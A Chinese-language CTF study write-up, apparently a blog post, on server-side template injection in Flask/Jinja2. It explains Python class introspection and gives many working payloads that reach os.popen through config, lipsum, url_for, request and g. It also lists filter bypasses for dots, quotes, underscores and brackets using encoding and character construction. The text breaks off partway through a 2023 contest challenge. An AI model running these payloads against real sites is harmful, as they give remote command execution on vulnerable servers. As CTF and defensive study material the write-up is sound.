SSTI注入利用姿势合集

文章目录

  • 前言
  • SSTI模板注入原理?
  • 关于Python的类知识
  • 构造链的思路
  • Jinjia2
    • 获取配置信息
    • lipsum
    • request
    • url_for
    • get_flashed_messages
    • g对象
  • Jinjia2 Bypass
    • `.`绕过
    • 引号绕过
    • `_`绕过
    • `init`过滤
    • [ ]被过滤
  • 羊城杯2023[决赛] SSTI
  • 2020XCTF 华为专项赛
  • Tornado
    • 通用手法
    • `tornado.template`的特性
    • Request特性
    • Handler
  • Smarty


前言

曾经多多少少有看过一点SSTI注入,虽然有很多场比赛都栽过在这个题的手里,但是一直都没有重视他,导致这次比赛又再次栽在了这道题上面。既然如此,那就系统的去总结和理解它的方式和一些绕过姿势,收藏一些trick和学着去造一些trick。

SSTI模板注入原理?

SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。

关于Python的类知识

  1. __class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。

    s = [1, 2, 3]
    print(s.__class__)
    s = 'abc'
    print(s.__class__)
    s = {'Aiwin': 1}
    print(s.__class__)
    s = ({'Aiwin': 1}, [1, 2, 3])
    print(s.__class__)
    
    输出:
    <class 'list'>
    <class 'str'>
    <class 'dict'>
    <class 'tuple'>
    
  2. __bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。

s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__) #显示类和基类
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])




输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>

输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
  1. __subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()

for i in k:
    print(i)


输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>

得到object类,获取特定的子类,从而通过子类调用里面的方法达到命令执行的效果。比如可以调用os.popen()等方法。

  1. __dict__返回数据类型的属性和方法,要注意的是部分数据类型不存在__dict__方法,会报错,通过它可以进行拼接绕过某些过滤。

    import os
    
    os.__dict__['s'+'ystem']('whoami')
    
  2. __init__用于初始化类,为了得到function或者method方法

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__)
    
    #
    
  3. __globals__以字典的类型返回当前位置的全部模块,配合__init__使用,主要是为了获取builtins方法,如果这个关键字被过滤了,可以使用__getattribute__

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__.__globals__)
    print(Person.__init__.__getattribute__('__global'+'s__'))
    
    
  4. __builtins__是一个内建模块(又可以叫做内奸命名空间),通过它可以直接不使用import就可以调用很多函数,在SSTI注入中是一把好手,里面有很多好东西。

    __builtins__.__dict__['__import__']('os').system('whoami')
    

构造链的思路

通过以上的python的类的知识,可以看出构造链的思路大概可以分成两种,一种是不断的通过获取内置类获取对应的类从而获取到一些能够进行命令执行如os、subprocess的模块,另一种是获取builtins通过内建函数直接调用进行命令执行。

  1. 使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

    也可以看源代码的flask的内置类,例如session,request,config,self等

    >>> ''.__class__
    <class 'str'>
    >>> [].__class__
    <class 'list'>
    >>> ().__class__
    <class 'tuple'>
    >>> {}.__class__
    <class 'dict'>
    >>> "".__class__
    <class 'str'>
    
  2. 获取到上一层类的object基类

    ''.__class__.__bases__[0]  #__bases__字符类的基类获取到的是一个元组,__base__获取到是一个类
    ''.__class__.__mro__[1]
    [].__class__.__base__
    [].__class__.__mro__[1]
    
  3. 通过__subclasses__()拿到所有的子类列表,然后从子类列表中选择能够使用的类。

    ''.__class__.__bases__[0].__subclasses__()
    [].__class__.__bases__.__subclasses__()
    
  4. 从子类列表中寻找可以getshell的类,可以遍历所有的子类,寻找对应类中的方法来确认,如要寻找popen。

    search = 'popen'
    num  = -1
    for i in ().__class__.__base__.__subclasses__():
      num += 1
      try:
        if search in i.__init__.__globals__.keys():
          print(num, i)
      except:
        pass
    
    #输出:
    #134 
    #135 
    
    

    因此可以完成整条链的调用

    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print("".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__import__']('os').popen('whoami').read())
    
    '''包含__import__方法的类
    80 
    81 
    82 
    83 
    '''
    
    
    

Jinjia2

jinjia2是Flask框架中一个流行的模板引擎,使得Web系统能够将特定的数据源组合渲染到页面中,呈现动态页面的效果,同样,也是CTF中的常客了,以下是jinjia2的使用文档。

Jinjia2使用文档

以下是一些jinjia2中内置的函数变量,可用于制造SSTI的链子。

获取配置信息

jinjia2可以通过{{config}}的方式来查询配置信息,它的基础类是可以是很多,主要看config的设置环境如属于jinja2.runtime.Context,如果环境中未定义config则会属于jinja2.runtime.undefined,通过这个类我们可以快速从它的globals变量中找到os__import__等方法,从而快速达到命令执行。

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #注意这里的globals中不一定存在os,要视具体情况定
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} #注意config直接__globals__为空

lipsum

通过是jinjia2模板引擎中用于占位文本生成器,用于在模板中生成随机的演示文本,通过它的全局类也能够获取到大量能够用于命令执行的函数。

file

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

request

从意思上了解,就是flask中代表当前请求的request对象,通过这个请求对象可以查询配置信息,构造出SSTI所需的类,还可以构造出SSTI所需的一些符号,详细在下面绕过的时候说。

{{request.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

url_for

url_for会根据传入的路由器函数名,返回该路由对应的URL

{{url_for.__globals__['current_app'].config}} #获取配置信息
{{url_for.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

get_flashed_messages

get_flashed_messages 是一个用于获取闪存消息的函数。闪存消息是一种特殊类型的消息,用于在请求之间传递信息。它通常用于在重定向或页面刷新后向用户显示一次性的提示或通知

{{get_flashed_messages.__globals__['current_app'].config}} #查看配置信息
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

g对象

在Flask框架中,g对象是一个上下文全局变量,它是一个在视图函数之间共享数据的地方。它可用于存储在同一请求周期内的数据,比如数据库连接、用户信息等。在每个请求中,g对象在视图函数之间被共享,但是在不同的请求之间是不共享的。通过g对象同样也可以寻找了builtins达到getshell的效果。这里需要注意的是g对象有时候会报undefined的错误,如在以下两种不同代码使用不同的模板渲染返回中会存在不一样的情况。

	 name = request.args.get('name', 'CTFer')#在这种形式的渲染返回中无法使用g变量,会显示undefined
     t = Template("hello " + name)  
     return t.render()

    name = request.args.get('name', 'CTFer')  #这种形式渲染返回g变量是正常的
    template=f"""
        Hello,{name}
    """
    return render_template_string(template)

{{g["pop"].__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

Jinjia2 Bypass

.绕过

  1. .绕过,可以使用attr方法或直接使用[]拼接获取到属性的基础类和各种方法,从而绕过.

file

lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() #使用[]绕过

{{lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('whoami')|attr('read')()}} #使用attr绕过

{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}}

引号绕过

要绕过引号(包括单引号,双引号)大概有两种思路:

  1. 寻找不需要引号的SSTI注入语句,引号的作用主要是最后在命令执行如导入os和执行对应命令需要使用,还记得request变量,表示请求中的变量,可以直接使用它来代替一些命令。

    {{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=whoami  
    
    {{lipsum.__globals__.__builtins__.__import__(request.args.a)[request.args.b](request.args.c).read()}}&a=os&b=popen&c=whoami&d=read
    
    #以下的request变量的参数都是可以使用的
    #request.args.name
    #request.values.name
    #request.cookies.name
    #request.headers.name
    #request.form.name
    
    
  2. 通过一些方法制造出引号这个字符,比如chr()这个函数,通过list将类名分割得到引号,制造%通过urldecode制造任意字符等,其实引号能造出的方式挺多的,比如以下:

    {%set chr=g|lower|list|batch(13)|list|first|last%}{{chr}}#直接造出'
    
    {% set chr=lipsum|lower|list|first|urlencode|first %} #造出%
    {%set c=dict(c=0).keys()|reverse|first%}  #造出c
    {%set url=dict(a=chr,c=c).values()|join %} #造出%c
    {%set url2=url|format(39)%}{{url2}} #通过%c|format的形式即可造出任意字符
    #通过造chr函数
    {%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
    
    
    
    

实在不知道chr在哪里,可以跑一下看看,其实很多类都有。

SSTI注入利用姿势合集_第1张图片

说这么多,奉上两个payload吧

{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.__import__(chr(111)~chr(115))[chr(112)~chr(111)~chr(112)~chr(101)~chr(110)](chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105)).read()}}  #通过chr造字符


{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(39)%}{%set o=url|format(111)%}  {%set s=url|format(115)%} {%set p=url|format(112)%} {%set e=url|format(101)%} {%set n=url|format(110)%} {%set w=url|format(119)%} {%set h=url|format(104)%} {%set a=url|format(97)%} {%set m=url|format(109)%} {%set i=url|format(105)%}
{%set os=o~s|string%}{%set popen=p~o~p~e~n|string%}{% set whoami=w~h~o~a~m~i %}
{%print(lipsum.__globals__.__builtins__.__import__(os)[popen](whoami).read())%}  #通过%c的形式造任何字符,注意这里根本不需要造引号,因为flask在处理的时候会自动加上引号当成字符处理。


_绕过

_绕过的思路大同小异,一种是通过编码绕过,一种是造出_,毕竟前面我们已经能造出任何字符了,当然也可以通过其它形式来造出_ ,因为下划线相对于引号还是出现的比较频繁的,还有一种也是request的形式,通过request得到_

  1. 编码绕过
# 转十六进制
def tohex(string):
    for i in string:
        print("\\x{:0x}".format(ord(i)), end="")
    print()


# 转八进制
def tooct(string):
    for i in string:
        print("\\{:0o}".format(ord(i)), end="")
    print()


# 转unicode
def touni(string):
    for i in string:
        print("\\u00{:0x}".format(ord(i)), end="")
    print()


string1 = "" #要编码的字符串
tohex(string1)
tooct(string1)
touni(string1)

{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[134]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['popen']('whoami').read()}} #十六进制

{{""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[134]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['popen']('whoami').read()}} #unicode编码

{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[134]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['popen']('whoami').read()}} #八进制


  1. request绕过

    {{""[request.args.a][request.args.b][request.args.c]()[134][request.args.d][request.args.e]['popen']('whoami').read()}}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__
    
  2. _进行绕过

{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(95)%}{%set class=url2*2~'class'~url2*2%}
{%set base=url2*2~'base'~url2*2%}{%set sub=url2*2~'subclasses'~url2*2%}{%set init=url2*2~'init'~url2*2%}{%set glo=url2*2~'globals'~url2*2%}{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}


{% set chr=lipsum|string|list|batch(19)|list|first|last%}{%set class=[chr*2,'class',chr*2]|join%}{%set sub=[chr*2,'subclasses',chr*2]|join%}{%set base=[chr*2,'base',chr*2]|join%}{%set init=[chr*2,'init',chr*2]|join%}{%set glo=[chr*2,'globals',chr*2]|join%}
{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}

init过滤

__init__是用于初始化的方法,可以使用其它方法代替,如__enter____exit__

{{"".__class__.__base__.__subclasses__()[134].__enter__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[134].__exit__.__globals__['popen']('whoami').read()}}

[ ]被过滤

因为[]并不是必须的,因为过滤了[]可以往不用[]那边想,因为.__的形式就不需要使用[],如以下:

{{().__class__.__base__.__subclasses__().pop(134).__init__.__globals__.popen('whoami').read()}} #通过pop来选择类

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(134).__init__.__globals__.popen('whoami').read()}} #通过getitem选择类
 
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}} #通过attr来绕过


羊城杯2023[决赛] SSTI

题目如下,过滤的东西其实挺多的,过滤了下划线、花括号、点号、十六进制、八进制,空格等,虽然看上去过滤了很多的东西,但是依旧是可以缺什么造什么把它造出来,过滤了.我们可以使用[]+可以使用~进行连接,下划线可以使用造字符串的形式。

from flask import Flask, request
from jinja2 import Template
import re

app = Flask(__name__)


@app.route("/")
def index():
    name = request.args.get('name', 'CTFer
                    

你可能感兴趣的:(web安全,python,flask,tornado)